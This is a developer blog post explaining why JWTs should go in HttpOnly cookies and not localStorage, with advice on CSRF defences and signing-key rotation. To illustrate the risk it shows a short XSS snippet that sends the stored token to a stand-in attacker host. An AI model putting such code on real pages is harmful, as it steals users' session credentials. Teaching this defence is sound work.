You've probably seen this in a React authentication tutorial:
localStorage.setItem("token", response.token);
User logs in. Save the JWT. Send it with every API request.
Simple, right?
There's one problem: any JavaScript running on your page can read that token.
And that includes malicious JavaScript.
What's Actually Wrong With localStorage?
Imagine your application has an XSS (Cross-Site Scripting) vulnerability.
An attacker manages to execute this:
const token = localStorage.getItem("token");
fetch("https://attacker.example/steal", {
method: "POST",
body: token,
});
That's it.
Your user's authentication token could now be in someone else's hands.
The attacker may be able to use it to access the user's account until the token expires or is revoked.
And XSS isn't the only concern. A compromised npm dependency running in your frontend can potentially access the same storage.
The problem isn't JWT itself. It's where you're storing it.
A Better Approach: HttpOnly Cookies
Instead of saving your JWT in localStorage, let your backend set a secure cookie.
Set-Cookie: session=eyJhbGciOi...;
HttpOnly;
Secure;
SameSite=Strict;
Path=/
Three important properties:
- HttpOnly: JavaScript cannot read the cookie.
- Secure: The browser sends it only over HTTPS (with limited localhost exceptions).
- SameSite=Strict: Helps prevent cross-site requests from carrying the cookie.
Now, even if an attacker executes:
document.cookie
They won't see your HttpOnly authentication cookie.
And your browser can automatically include that cookie in requests to your backend.
fetch("/api/profile", {
credentials: "same-origin",
});
No manually reading or attaching JWTs.
Much cleaner.
But Cookies Aren't Magic
Here's something tutorials often forget.
HttpOnly protects the token from being read. It doesn't make XSS harmless.
Malicious JavaScript can still send authenticated requests from your application.
And cookies introduce another concern: CSRF (Cross-Site Request Forgery).
For cookie-based authentication, use appropriate CSRF defenses:
- Validate request origins.
- Use SameSite cookies.
- Add CSRF tokens where needed.
One common approach is the double-submit cookie pattern, where the server validates a CSRF token sent with the request. In production, prefer a signed token bound to the authenticated session.
SameSite=Strict helps, but it shouldn't be your entire CSRF strategy.
What About JWT Expiration?
There's another issue worth understanding.
Imagine you issue a JWT valid for seven days.
Tomorrow, you discover that your signing key has been compromised.
What happens to all those tokens?
You need a way to rotate your signing keys safely.
Meet JWT Key Rotation
Instead of using one signing key forever, maintain a keyring.
Each JWT contains a key identifier (kid) in its header.
{
"alg": "RS256",
"kid": "key-2026-02"
}
Your backend uses that identifier to find the correct verification key.
When rotating keys:
- Generate a new signing key.
- Start signing new tokens with it.
- Keep the old verification key temporarily.
- Remove it after all old tokens expire.
This allows normal key rotation without immediately logging everyone out.
Important: If a key is actually compromised, keeping it trusted is dangerous. Emergency rotation may require invalidating existing tokens.
For better session control, use short-lived access tokens, carefully protected refresh sessions, and server-side revocation where needed.
So, Should You Never Use localStorage?
Not necessarily.
localStorage is perfectly useful for things like themes, language preferences, and non-sensitive settings.
For authentication tokens, though, storing bearer credentials in JavaScript-accessible storage creates an avoidable token-theft risk.
HttpOnly cookies are often a better default for traditional browser applications.
Other architectures, including OAuth-based SPAs and mobile clients, may need different approaches.
The Takeaway
JWT is just a token format.
It doesn't automatically make your authentication secure.
Where you store tokens, how you protect requests, how you handle expiration, and how you revoke sessions matter just as much.
Authentication isn't finished when login works. It's finished when you've thought about what happens when something goes wrong.
How are you currently handling authentication in your applications?
Top comments (0)